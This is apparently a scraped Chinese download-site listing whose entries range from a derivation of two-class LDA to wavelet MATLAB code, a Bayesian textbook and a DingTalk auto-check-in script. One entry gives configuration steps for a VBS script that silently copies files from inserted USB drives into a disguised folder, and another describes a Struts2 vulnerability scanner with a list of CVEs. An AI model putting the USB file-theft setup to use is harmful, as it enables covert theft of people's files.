VerygoodbookForpeopleinthisarea!
2024/11/6 0:05:57 6.03MB Wave Propagation
1
现在我们回到LDA的原理上,我们在第一节说讲到了LDA希望投影后希望同一种类别数据的投影点尽可能的接近,而不同类别的数据的类别中心之间的距离尽可能的大,但是这只是一个感官的度量。
现在我们首先从比较简单的二类LDA入手,严谨的分析LDA的原理。
    假设我们的数据集D={(x1,y1),(x2,y2),...,((xm,ym))}D={(x1,y1),(x2,y2),...,((xm,ym))},其中任意样本xixi为n维向量,yi∈{0,1}yi∈{0,1}。
我们定义Nj(j=0,1)Nj(j=0,1)为第j类样本的个数,Xj(j=0,1)Xj(j=0,1)为第j类样本的集合,而μj(j=0,1)μj(j=0,1)为第j类样本的均值向量,定义Σj(j=0,1)Σj(j=0,1)为第j类样本的协方差矩阵(严格说是缺少分母部分的协方差矩阵)。
    μjμj的表达式为:μj=1Nj∑x∈Xjx(j=0,1)μj=1Nj∑x∈Xjx(j=0,1)    ΣjΣj的表达式为:Σj=∑x∈Xj(x−μj)(x−μj)T(j=0,1)Σj=∑x∈Xj(x−μj)(x−μj)T(j=0,1)    由于是两类数据,因此我们只需要将数据投影到一条直线上即可。
假设我们的投影直线是向量ww,则对任意一个样本本xixi,它在直线ww的投影为wTxiwTxi,对于我们的两个类别的中心点μ0,μ1μ0,μ1,在在直线ww的投影为wTμ0wTμ0和wTμ1wTμ1。
由于LDA需要让不同类别的数据的类别中心之间的距离尽可能的大,也就是我们要最大化||wTμ0−wTμ1||22||wTμ0−wTμ1||22,同时我们希望同一种类别数据的投影点尽可能的接近,也就是要同类样本投影点的协方差wTΣ0wwTΣ0w和wTΣ1wwTΣ1w尽可能的小,即最小化wTΣ0w+wTΣ1wwTΣ0w+wTΣ1w。
综上所述,我们的优化目标为:argmaxwJ(w)=||wTμ0−wTμ1||22wTΣ0w+wTΣ1w=wT(μ0−μ1)(μ0−μ1)TwwT(Σ0+Σ1)wargmax⏟wJ(w)=||wTμ0−wTμ1||22wTΣ0w+wTΣ1w=wT(μ0−μ1)(μ0−μ1)TwwT(Σ0+Σ1)w    我们一般定义类内散度矩阵SwSw为:Sw=Σ0+Σ1=∑x∈X0(x−μ0)(x−μ0)T+∑x∈X1(x−μ1)(x−μ1)TSw=Σ0+Σ1=∑x∈X0(x−μ0)(x−μ0)T+∑x∈X1(x−μ1)(x−μ1)T    同时定义类间散度矩阵SbSb为:Sb=(μ0−μ1)(μ0−μ1)TSb=(μ0−μ1)(μ0−μ1)T    这样我们的优化目标重写为:argmaxwJ(w)=wTSbwwTSwwargmax⏟wJ(w)=wTSbwwTSww    仔细一看上式,这不就是我们的广义瑞利商嘛!这就简单了,利用我们第二节讲到的广义瑞利商的性质,我们知道我们的J(w)J(w)最大值为矩阵S−12wSbS−12wSw−12SbSw−12的最大特征值,而对应的ww为S−12wSbS−12wSw−12SbSw−12的最大特征值对应的特征向量!而S−1wSbSw−1Sb的特征值和S−12wSbS−12wSw−12SbSw−12的特征值相同,S−1wSbSw−1Sb的特征向量w′w′和S−12wSbS−12wSw−12SbSw−12的特征向量ww满足w′=S−12www′=Sw−12w的关系!    注意到对于二类的时候,SbwSbw的方向恒为μ0−μ1μ0−μ1,不妨令Sbw=λ(μ0−μ1)Sbw=λ(μ0−μ1),将其带入:(S−1wSb)w=λw(Sw−1Sb)w=λw,可以得到w=S−1w(μ0−μ1)w=Sw−1(μ0−μ1),也就是说我们只要求出原始二类样本的均值和方差就可以确定最佳的投影方向ww了。
2024/7/30 21:57:26 3KB MATLAB 人脸识别 LDA knn
1
TheBayesianChoice2nded-C.Robert(Springer,2007)WW
2024/5/11 5:15:16 6.29MB Bayesian
1
参见https://support.industry.siemens.com/tf/ww/en/posts/winac-rtx-2010-sp2-and-vm/89078/?page=0&pageSize=10#top
2023/12/15 18:32:53 215KB WinAC VMWare
1
一、右键单击,选择编辑oStr="txt|jpg|doc"'你要窃取的文件类型,可以自行添加,用“|”隔开oDistPath="C:\\windows\\system\\"'保存路径oFolderName="Task"'保存文件夹名称oType=0'将保存的文件夹进行伪装1为task文件夹,2为recycler文件夹,0为不伪装oOut=1'1复制完毕后退出,0复制完毕后不退出,继续循环二、保存后运行会出现安装成功对话框,如果不希望出现该对话框,可以将“Msgbox"安装成功"”注释掉。
此时脚本已经在循环监测U盘的插入三、插入U盘U盘插入后,就开始文件的复制。
复制完成后会出现提示对话框。
如果不希望出现该对话框,可以将“Msgbox"Windows错误",64”注释掉四、寻找文件此时,文件已经在目标文件夹中。
我将oType设置为1,所以该文件夹成了task文件夹,此时双击打开是看不到其中的文件的。
这种情况可以通过rar压缩包浏览,将其中的desktop.ini文件删除,文件夹就会变成普通文件夹。
ww这时就能打开文件夹看到其中的内容。
Copy.log记录的是原文件及复制后的文件。
vbs代码以下是源代码:……
2023/9/25 1:13:45 2KB 自动 复制 U盘 VBS
1
小波变换代码包。
调用形式:ww=DWT(N)N为数据大小,返回变换系数矩阵。
使用举例X=imread('lena256.bmp');X=double(X);%小波变换矩阵生成ww=DWT(a);%小波变换让图像稀疏化(注意该步骤会耗费时间,但是会增大稀疏度)X1=ww*sparse(X)*ww';
2023/6/2 2:03:26 1KB 小波变换 matlab
1
wnter93792a1fg7a-9-dds1-2-ww一个极其不错的货物哦,均能够用下
2023/4/11 9:48:05 16.31MB fg
1
Struts2漏洞检查工具2019版警告:本工具为漏洞自查工具,请勿非法攻击他人网站!==漏洞编号==============影响版本=========================官方公告==========================================影响范围=====S2-057CVE-2018-11776Struts2.3to2.3.34,Struts2.5to2.5.16https://cwiki.apache.org/confluence/display/WW/S2-057影响范围非常小S2-048CVE-2017-9791Struts2.3.Xhttp://127.0.0.1:8090/struts2-showcase/integration/saveGangster.action影响范围非常小S2-046CVE-2017-5638 Struts2.3.5-2.3.31,Struts2.5-2.5.10 http://struts.apache.org/docs/s2-046.html和S2-045一样S2-045CVE-2017-5638 Struts2.3.5-2.3.31,Struts2.5-2.5.10 http://struts.apache.org/docs/s2-045.html影响范围较大S2-037CVE-2016-4438 Struts2.3.20-2.3.28.1 http://struts.apache.org/docs/s2-037.html影响范围小S2-032CVE-2016-3081 Struts2.3.18-2.3.28 http://struts.apache.org/release/2.3.x/docs/s2-032.html影响范围小S2-020CVE-2014-0094 Struts2.0.0-2.3.16 http://struts.apache.org/release/2.3.x/docs/s2-020.html影响范围小S2-019CVE-2013-4316 Struts2.0.0-2.3.15.1 http://struts.apache.org/release/2.3.x/docs/s2-019.html影响范围普通S2-016CVE-2013-2251 Struts2.0.0-2.3.15 http://struts.apache.org/release/2.3.x/docs/s2-016.html影响范围非常大S2-013CVE-2013-1966 Struts2.0.0-2.3.14 http://struts.apache.org/release/2.3.x/docs/s2-013.html未添加,S2-016范围内S2-009CVE-2011-3923 Struts2.0.0-2.3.1.1 http://struts.apache.org/release/2.3.x/docs/s2-009.html未添加,S2-016范围内S2-005CVE-2010-1870 Struts2.0.0-2.1.8.1 http://struts.apache.org/release/2.2.x/docs/s2-005.html未添加,S2-016范围内
2019/10/14 12:16:01 197KB 漏洞利用 struts2 str2 2019版
1
在日常工作中,钉钉打卡成了我生活中不可或缺的一部分。然而,有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚,我总是得牢记打开钉钉应用,点击"工作台",再找到"考勤打卡"进行签到。有时候因为工作忙碌,会忘记打卡,导致考勤异常,影响当月的工作评价。而且,由于我使用的是苹果手机,有时候系统更新后,钉钉的某些功能会出现异常,使得打卡变得更加麻烦。 另外,我的家人使用的是安卓手机,他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说,每次打卡都是一次挑战。他们总是担心自己会操作失误,导致打卡失败。 为了解决这些烦恼,我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习,我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03 15KB 钉钉 钉钉打卡